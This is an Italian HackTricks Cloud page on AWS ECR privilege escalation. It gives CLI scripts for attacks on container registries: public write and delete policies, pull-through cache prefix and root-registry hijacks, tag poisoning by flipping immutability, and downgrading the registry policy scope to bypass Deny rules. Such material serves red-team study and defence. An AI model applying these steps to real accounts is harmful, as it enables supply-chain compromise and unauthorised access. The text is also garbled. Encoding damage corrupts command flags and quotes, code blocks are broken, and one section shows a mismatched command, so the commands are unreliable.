AWS - ECR Privesc
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
ECR
ecr:GetAuthorizationToken,ecr:BatchGetImage
Un attacker con i permessi ecr:GetAuthorizationToken e ecr:BatchGetImage può effettuare il login su ECR e scaricare immagini.
Per maggiori informazioni su come scaricare le immagini:
Impatto potenziale: privesc indiretto intercettando informazioni sensibili nel traffico.
ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart
Un attacker con tutti questi permessi può effettuare il login su ECR e caricare immagini. Questo può essere utile per escalation di privilegi verso altri ambienti dove quelle immagini vengono utilizzate.
Inoltre, ecr:PutImage può essere usato per sovrascrivere un tag esistente (per esempio stable / prod) caricando un manifest di immagine diverso sotto quel tag, di fatto dirottando i deploy basati sui tag.
Questo è particolarmente impattante quando i consumatori downstream effettuano deploy per tag e si auto-refresh al cambiamento del tag, come:
- Lambda container image functions (
PackageType=Image) che referenziano.../repo:stable - ECS services / Kubernetes workloads che effettuano il pull di
repo:prod(senza pinning del digest) - Qualsiasi CI/CD che ridistribuisce a seguito di eventi ECR
In questi casi, la sovrascrittura di un tag può portare a remote code execution nellâambiente del consumer e ad escalation di privilegi verso il ruolo IAM usato da quel workload (per esempio, un Lambda execution role con secretsmanager:GetSecretValue).
Per imparare come caricare una nuova immagine/aggiornare una esistente, consulta:
ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart
Come la sezione precedente, ma per repository pubblici.
ecr:SetRepositoryPolicy
Un attacker con questo permesso potrebbe modificare la repository policy per concedersi (o concedere a chiunque) accesso in lettura/scrittura.
Per esempio, in questo esempio lâaccesso in lettura è concesso a tutti.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
Contenuto di my-policy.json:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
Come la sezione precedente, ma per i repository pubblici.
Un attaccante può modificare la policy del repository di un repository ECR Public per concedere accesso pubblico non autorizzato o per elevare i propri privilegi.
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
Impatto potenziale: accesso pubblico non autorizzato al repository ECR Public, consentendo a qualsiasi utente di push, pull o delete images.
ecr:PutRegistryPolicy
Un attaccante con questa autorizzazione potrebbe modificare la registry policy per concedere a sĂŠ stesso, al suo account (o anche a chiunque) read/write access.
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
ecr:CreatePullThroughCacheRule
Abusa delle regole ECR Pull Through Cache (PTC) per mappare uno namespace upstream controllato dallâattaccante a un prefisso privato ECR di fiducia. Questo fa sĂŹ che i workload che effettuano il pull dal ECR privato ricevano in modo trasparente immagini dellâattaccante senza alcun push sul ECR privato.
- Permessi richiesti: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Se si utilizza ECR Public come upstream: ecr-public:* per creare/eseguire il push nel repository pubblico.
- Upstream testato: public.ecr.aws
Steps (example):
- Prepare attacker image in ECR Public
Get your ECR Public alias with: aws ecr-public describe-registries âregion us-east-1
docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
-
Create the PTC rule in private ECR to map a trusted prefix to the public registry aws ecr create-pull-through-cache-rule âregion us-east-2 âecr-repository-prefix ptc âupstream-registry-url public.ecr.aws
-
Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run ârm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
Potential Impact: Compromissione della catena di fornitura intercettando nomi di immagini interni sotto il prefisso scelto. Qualsiasi workload che esegue il pull di immagini dal ECR privato usando quel prefisso riceverĂ contenuto controllato dallâattaccante.
ecr:PutImageTagMutability
Abusa di questo permesso per cambiare un repository con tag immutabili in mutabile e sovrascrivere tag affidabili (es., latest, stable, prod) con contenuto controllato dallâattaccante.
- Permessi richiesti:
ecr:PutImageTagMutabilitypiĂš capacitĂ di push (ecr:GetAuthorizationToken,ecr:InitiateLayerUpload,ecr:UploadLayerPart,ecr:CompleteLayerUpload,ecr:PutImage). - Impatto: Compromissione della catena di fornitura sostituendo silenziosamente tag immutabili senza cambiare i nomi dei tag.
Steps (example):
Avvelena un tag immutabile alternando la mutabilitĂ
```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE acct=$(aws sts get-caller-identity --query Account --output text) aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com # Build and push initial trusted tag printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Attempt overwrite while IMMUTABLE (should fail) printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Flip to MUTABLE and overwrite aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Validate consumers pulling by tag now get the poisoned image (prints V2) docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod ```Hijack globale del registro tramite la regola ROOT Pull-Through Cache
Crea una regola Pull-Through Cache (PTC) usando il speciale ecrRepositoryPrefix=ROOT per mappare la radice del registro ECR privato a un registro pubblico upstream (es., ECR Public). Qualsiasi pull verso un repository inesistente nel registro privato verrĂ servito in modo trasparente dallâupstream, permettendo supply-chain hijacking senza effettuare push su ECR privato.
- Required perms:
ecr:CreatePullThroughCacheRule,ecr:DescribePullThroughCacheRules,ecr:DeletePullThroughCacheRule,ecr:GetAuthorizationToken. - Impatto: i pull a
<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>riescono e creano automaticamente repository privati originati dallâupstream.
Nota: Per le regole
ROOT, ometti--upstream-repository-prefix. Fornirlo causerĂ un errore di convalida.
Demo (us-east-1, upstream public.ecr.aws)
```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text)1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule
âregion â$REGIONâ
âecr-repository-prefix ROOT
âupstream-registry-url public.ecr.aws
2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password âregion â$REGIONâ | docker login âusername AWS âpassword-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com
Example using an official mirror path hosted in ECR Public
(public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest
3) Verify repo and image now exist without any push
aws ecr describe-repositories âregion â$REGIONâ
âquery ârepositories[?repositoryName==docker/library/alpine]â
aws ecr list-images âregion â$REGIONâ ârepository-name docker/library/alpine âfilter tagStatus=TAGGED
4) Cleanup
aws ecr delete-pull-through-cache-rule âregion â$REGIONâ âecr-repository-prefix ROOT aws ecr delete-repository âregion â$REGIONâ ârepository-name docker/library/alpine âforce || true
</details>
### `ecr:PutAccountSetting` (Degradare `REGISTRY_POLICY_SCOPE` per aggirare i Deny della policy del registro)
Usa `ecr:PutAccountSetting` per cambiare l'ambito della registry policy da `V2` (policy applicata a tutte le azioni ECR) a `V1` (policy applicata solo a `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Se una registry policy restrittiva con Deny blocca azioni come `CreatePullThroughCacheRule`, degradare a `V1` rimuove quella restrizione, permettendo agli Allow delle identity policy di avere effetto.
- Required perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impact: Ability to perform ECR actions previously blocked by a registry policy Deny (e.g., creare regole PTC) by temporarily setting scope to `V1`.
Steps (example):
<details>
<summary>Aggirare il Deny della registry policy su CreatePullThroughCacheRule cambiando a V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json
# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION
# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi
# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"
# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al đŹ Discord group o al telegram group o seguici su Twitter đŚ @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

